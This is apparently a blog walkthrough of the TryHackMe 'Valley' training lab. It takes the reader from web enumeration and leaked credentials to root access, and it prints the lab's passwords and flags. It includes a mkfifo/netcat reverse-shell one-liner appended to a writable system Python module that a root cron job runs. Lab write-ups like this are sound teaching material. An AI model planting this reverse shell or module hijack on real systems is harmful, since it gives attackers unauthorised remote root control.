July 28, 2026
Valley(TryHackMe) — Pentesting walkthrough
Hello, red teamers!
By Revanthjugunta
13 min read
I hope you're hacking responsibly and learning something new every day.
If you got stuck while trying to break into the Valley room on TryHackMe, I hope this walkthrough helps you understand not only how to solve the challenge, but why each step works. Rather than blindly copying commands, the goal is to think like a penetration tester and understand the methodology behind every action.
Before we begin hacking into the target, here's a quick checklist.
Prerequisites
You'll need the following:
- An AttackBox from TryHackMe or a Linux virtual machine (I recommend Kali Linux or Ubuntu) connected to the TryHackMe VPN. (I hope you already know how to connect your VM to the VPN! )
- Basic penetration testing tools such as Nmap, Gobuster, Metasploit, and a few standard Linux utilities.
- And finally… some common sense.
Yes, I'm dead serious about this one. This room isn't about using complicated exploits it's about careful observation and solid enumeration.
Lab Details
Difficulty: Easy
Operating System: Linux
Skills You'll Practice
- Web Exploitation
- Enumeration
- Linux Privilege Escalation
- Basic Penetration Testing Methodology
The Pentesting Approach
When compromising a target, penetration testers generally follow a structured methodology. Although real-world engagements include several additional phases, CTFs and TryHackMe rooms usually require only the technical portions relevant to obtaining user and root access.
The typical penetration testing lifecycle looks like this:
- Reconnaissance
- Enumeration
- Exploitation
- Persistence
- Analysis & Reporting
For this room, we'll primarily focus on the first three phases, followed by privilege escalation to obtain the required flags.
So, let's begin.
Reconnaissance
Reconnaissance is the process of gathering information about a target before attempting any form of exploitation. The more information we collect at this stage, the easier the later stages become.
For my deployment, the target machine was assigned the IP address:
10.49.167.13710.49.167.137(Your IP address will almost certainly be different, so replace it with the one assigned to your instance.)
Since we'll be using the target IP address multiple times throughout the engagement, we can store it in a temporary Bash variable.
ip=10.49.167.137ip=10.49.167.137Now, instead of repeatedly typing the IP address, we can simply use:
$ip$ipThis makes commands shorter, reduces typing mistakes, and keeps things cleaner.
Note: This variable exists only for the current terminal session. Once you close or restart your terminal, it disappears. You can make environment variables persistent using the export command along with your shell configuration file, but that's outside the scope of this walkthrough.
Scanning the Target Using Nmap
Before we can compromise a system, we first need to discover the possible ways to communicate with it. You can think of ports as doors to different network services. Some of these doors may be securely locked, while others might expose services that can be abused if they're misconfigured or vulnerable.
To identify the open ports and the services running on them, we'll use Nmap, one of the most widely used network reconnaissance tools.
For this scan, I'll use the following options:
-p-— Scan all 65,535 TCP ports instead of only the most common ones.-sV— Detect the version of the services running on the discovered ports.
Command
nmap -sV -p- $ipnmap -sV -p- $ip
The scan reveals three open TCP ports:
- 22/tcp — SSH
- 80/tcp — HTTP
- 37370/tcp — FTP
Port 22 is the standard SSH service, while 80 hosts a web server. The interesting finding here is the FTP service listening on 37370 instead of the default 21.
Did you know?
FTP doesn't have to run on port 21. While 21 is the default port, administrators can configure services to listen on almost any available port. During penetration testing, we should always trust what the scan tells us rather than assuming a service is running on its default port.
At this stage, we shouldn't jump to conclusions. Instead, we should ask ourselves:
- Can we authenticate to SSH?
- Can we authenticate to FTP?
- Does the web application reveal any useful information?
Since we don't have valid credentials for either SSH or FTP, the web server becomes the most promising place to begin our enumeration.
Enumerating the Web Server
Opening the target in a web browser presents what appears to be a simple photography website.
The homepage provides links to the Gallery and Pricing pages. At first glance, nothing immediately stands out as vulnerable or interesting.
However, one small detail caught my attention, the URL structure.
The links point directly to HTML files, such as:
http://10.49.167.137/gallery/gallery.html
http://10.49.167.137/pricing/pricing.htmlhttp://10.49.167.137/gallery/gallery.html
http://10.49.167.137/pricing/pricing.htmlWhenever I see URLs structured like this, I like to check whether the parent directories themselves are accessible.
So I manually browsed to:
http://10.49.167.137/gallery
http://10.49.167.137/pricinghttp://10.49.167.137/gallery
http://10.49.167.137/pricingInterestingly, visiting the pricing directory exposed a file named note.txt.
Reading the file revealed a developer's note containing information about the application.
Instead of treating this as just another text file, it's worth thinking like an attacker.
Developers often leave temporary notes, backup files, test pages, or forgotten directories during development. Sometimes they're harmless, but other times they accidentally expose credentials, sensitive configuration files, or hints that lead to the next stage of the attack.
This immediately raised a question:
If one hidden file exists, could there be more hidden directories or files elsewhere on the web server?
To answer that question, it's time to perform a more thorough enumeration of the web application.
Apart from manually browsing the website, I also checked the page source (HTML, CSS, and JavaScript) for any interesting information. Unfortunately, nothing useful stood out at this stage.
Since manual enumeration didn't reveal much, it's time to let automation help us.
We'll use Gobuster, one of the most popular tools for directory and file enumeration.
If you're new to Gobuster, here's a quick explanation.
Gobuster_ is a directory and DNS enumeration tool that uses a wordlist to brute-force common paths on a web server. It's incredibly useful for discovering hidden directories, backup files, admin panels, and developer endpoints that aren't linked from the main website._
For this room, I'll use one of Kali Linux's built-in DirBuster wordlists.
Command
gobuster dir -u "http://$IP" \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtgobuster dir -u "http://$IP" \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtThis command starts testing thousands of common directory names against the web server.
The scan revealed several interesting directories, including:
/static/server-status
These weren't visible while manually browsing the website, making them worth investigating.
Opening the /static directory in the browser didn't immediately reveal anything useful.
At this point, I had two options:
- Continue investigating the other discovered directories.
- Perform another round of enumeration inside the
/staticdirectory.
Since hidden content often exists several levels deep, I decided to enumerate /static itself.
Command
gobuster dir -u "http://$IP/static/" \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtgobuster dir -u "http://$IP/static/" \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtThis time, Gobuster returned a long list of numbered directories.
Most of these directories contained nothing more than images.
So… after grabbing a coffee! and checking them one by one, I noticed something unusual.
Unlike the others, the /00 directory contained a text page instead of an image.
Sometimes the smallest anomalies lead to the biggest discoveries. A Hidden Clue
The page contained several pieces of information, but two stood out immediately.
- A hidden path named:
/dev12432241231123/dev12432241231123- A reference to checking SIEM alerts.
The SIEM reference didn't seem immediately useful, but the hidden endpoint definitely deserved a closer look.
Navigating to:
http://10.49.167.137/dev12432241231123http://10.49.167.137/dev12432241231123revealed a login page.
Now the real fun begins.
Testing the Login Page
My first instinct was to test common web vulnerabilities.
I started with:
- SQL Injection
- Cross-Site Scripting (XSS)
Neither technique worked.
Rather than continuing to guess inputs, I shifted my focus to the client-side code.
Whenever I encounter a login page — especially in beginner CTFs, I make it a habit to inspect the page source and JavaScript files. Developers occasionally leave debugging code or even hardcoded credentials in client-side scripts.
Opening View Source and inspecting the JavaScript revealed exactly that.
The authentication logic was being handled with a simple conditional statement, and the credentials were hardcoded directly into the JavaScript
The credentials were:
Username: siemDev
Password: californiaUsername: siemDev
Password: californiaUsing these credentials successfully authenticated me to the developer portal.
Exploitation
After logging in, I found several additional developer notes.
Some of the messages immediately caught my attention.
One note stated:
"Stop reusing the credentials."
This strongly suggests that the credentials we've just discovered may also be valid for another service on the target.
Another note mentioned checking for vulnerabilities, but it didn't provide anything actionable yet.
The most interesting clue, however, was:
"Change FTP port to normal port."
This immediately connected with the information we gathered during reconnaissance.
Remember our Nmap scan?
It showed an FTP service running on port 37370 instead of the default 21.
This tells us two things:
- The developers intentionally configured FTP on a non-standard port.
- More importantly, they may have forgotten to disable or secure it.
Combined with the warning about credential reuse, this gives us our next logical step.
Instead of guessing what to do next, we now have a solid hypothesis:
Let's see whether the developer credentials can be reused to authenticate to the FTP service running on port 37370.
With the clue about credential reuse fresh in mind, I tried logging into the FTP service running on port 37370 using the credentials we recovered from the developer portal.
To my surprise, the credentials worked!
Listing the available files revealed three .pcapng packet capture files. The remaining directories weren't accessible with our current permissions, so these captures became our next target for investigation.
At this point, I also tested whether the same credentials could authenticate to SSH.
Unfortunately, SSH rejected them.
That means the credentials are valid only for FTP, at least for now.
Downloading the Packet Captures
Since packet captures often contain authentication traffic, sensitive application data, or even credentials transmitted over the network, I decided to download all of them for offline analysis.
Inside the FTP session, we can download every available file using:
mget *mget *This downloads all files from the current FTP directory to our attack machine.
Among the three captures, I started with siemHTTP2.pcapng, as the name suggested it might contain useful HTTP traffic.
Analyzing the PCAP
I opened the capture in Wireshark and applied the following display filter:
httphttpFiltering the traffic allows us to focus only on HTTP requests and responses, making the analysis much easier.
Rather than jumping around randomly, I started reviewing the packets from the beginning.
One packet immediately caught my attention — a POST request.
POST requests commonly carry login forms, uploaded files, and other user-submitted data, making them an excellent place to search for credentials.
Inspecting the request payload confirmed my suspicion.
The captured traffic contained login credentials.
Gaining Initial Access via SSH
Since our earlier SSH attempt failed using the developer credentials, the first thing I tried was authenticating with the newly discovered username and password.
This time…
Success!
We finally obtained an interactive shell on the target system.
Listing the user's home directory immediately revealed:
user.txtuser.txtReading the file gave us the first flag:
THM{k@l1 1n th3 v@lley}THM{k@l1 1n th3 v@lley}Although we now had shell access, we were still operating as a low-privileged user and couldn't access protected system files.
The next objective was clear.
Privilege Escalation.
Investigating the User's Files
While exploring the home directory, I noticed an executable named:
valleyAuthenticatorvalleyAuthenticatorNaturally, I tried executing it.
The binary prompted me for authentication, but none of the credentials I'd collected so far worked.
Instead of guessing passwords, I decided to analyze the executable itself.
Since analysis is easier on my attack machine, I transferred the binary using a temporary Python web server.
On the target:
python3 -m http.server 8000python3 -m http.server 8000On the attack machine:
wget http://<TARGET-IP>:8000/valleyAuthenticatorwget http://<TARGET-IP>:8000/valleyAuthenticator
Inspecting the Binary
Running:
cat valleyAuthenticatorcat valleyAuthenticatoronly displayed unreadable binary data, which is expected because executables aren't plain text files.
A better approach is to use the strings utility.
strings extracts human-readable text embedded inside binary executables, which often reveals hardcoded paths, configuration values, usernames, passwords, or developer notes.
strings valleyAuthenticatorstrings valleyAuthenticatorThe output was huge.
To make searching easier, I redirected it to a file.
strings valleyAuthenticator > strings_output.txtstrings valleyAuthenticator > strings_output.txtAfter spending some time reviewing the output, I noticed something interesting.
Near the text:
Welcome to Valley Inc. Authentication...Welcome to Valley Inc. Authentication...there was what appeared to be a hash.
e6722920bab2326f8217e4e6722920bab2326f8217e4Initially, I made the mistake of copying several adjacent lines together and attempted to crack the entire sequence using:
- CyberChef
- John the Ripper
- Hashcat
None of them worked.
After taking another careful look, I realized only the single hash value should be used.
Submitting that hash to CrackStation successfully recovered the plaintext password:
e6722920bab2326f8217e4 --> liberty123
e6722920bab2326f8217e4 --> liberty123
Trying the credentials:
Username: valley
Password: liberty123Username: valley
Password: liberty123successfully authenticated the binary.
Looking for a Privilege Escalation Vector
Although we now had access to the valley account, the system still didn't allow us to execute privileged commands.
Running:
sudo -lsudo -lconfirmed that we didn't have any useful sudo permissions.
That meant we needed another privilege escalation technique.
One of my first checks on Linux systems is always cron jobs.
Cron jobs are scheduled tasks executed automatically at specific intervals, often as the root user.
If a scheduled task executes a file that an unprivileged user can modify, it may become a privilege escalation opportunity.
To inspect the scheduled tasks:
cat /etc/crontabcat /etc/crontabAmong several scheduled jobs, one immediately stood out.
A cron job was periodically executing a Python script.
Understanding the Python Import Vulnerability
Opening the script showed that it imported Python's built-in base64 module.
import base64import base64
At first glance, the script simply performed Base64 encoding.
However, Python imports code from module files.
If an attacker can modify one of those imported module files, any code added to that module executes automatically the next time the scheduled script runs.
To locate the module:
locate base64.pylocate base64.pyThe system revealed:
/usr/lib/python3.8/base64.py/usr/lib/python3.8/base64.pySurprisingly, the current user had permission to modify this file.
That was our privilege escalation vector.
I added the following reverse shell payload to the end of base64.py:
import os
os.system("rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc <ATTACK-IP> 4444 >/tmp/f")import os
os.system("rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc <ATTACK-IP> 4444 >/tmp/f")How the Reverse Shell Works
The payload:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc <ATTACK-IP> 4444 >/tmp/frm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc <ATTACK-IP> 4444 >/tmp/fcreates a named pipe (FIFO) that acts as a communication channel.
Commands sent from the attack machine travel through the FIFO into a shell, while the shell's output is redirected back through Netcat, giving us an interactive remote shell.
You can replace 4444 with any available listening port on your attack machine.
Becoming Root
Finally, I started a Netcat listener:
nc -lvnp 4444nc -lvnp 4444When the cron job executed, Python imported our modified base64.py module, executed the reverse shell payload, and connected back to my listener.
Moments later…
I had a root shell.
From there, retrieving the final flag was straightforward.
THM{v@lley_0f_th3_sh@d0w_0f_pr1v3sc}THM{v@lley_0f_th3_sh@d0w_0f_pr1v3sc}
Conclusion
And that's a wrap!
The Valley room is a really good beginner-friendly challenge that teaches one important lesson about penetration testing: breaking into a system is rarely about finding one huge vulnerability — it's about connecting multiple small clues and misconfigurations until they lead you to complete compromise.
Throughout this room we learned how to:
- Perform reconnaissance using Nmap.
- Enumerate hidden web directories using Gobuster.
- Analyze developer notes and JavaScript files to recover credentials.
- Reuse those credentials to gain access to the FTP service.
- Analyze PCAP files with Wireshark to uncover SSH credentials.
- Gain an initial foothold through SSH.
- Analyze a binary using the
stringsutility. - Perform privilege escalation by abusing an insecure Python module executed by a scheduled cron job.
- Finally, retrieve both the user and root flags.
What I personally liked about this room is that it doesn't expect you to know some crazy exploit or a zero-day vulnerability. Instead, it teaches you to slow down, observe everything carefully, and think like a penetration tester. Almost every step in this room was hidden in plain sight — you just had to notice it.
One thing I realized while solving this room is:
Enumeration is everything. The better you enumerate, the less you'll struggle later. Most of the time, the target itself tells you how to break it — you just have to listen.
If you've made it this far without blindly copying the commands, congratulations! I hope you didn't just solve another TryHackMe room but also understood the reasoning behind each step and learned a methodology that can be applied to many other machines.
I hope this walkthrough made the room a little easier to understand and, more importantly, helped you think through the attack path instead of simply following it.
If you found this write-up useful, consider leaving a 👏 on Medium and sharing it with others who are working on the Valley room.
Until the next walkthrough…
Happy Hacking!
P.S. A huge thanks to ChatGPT for helping me refine and enhance this write-up.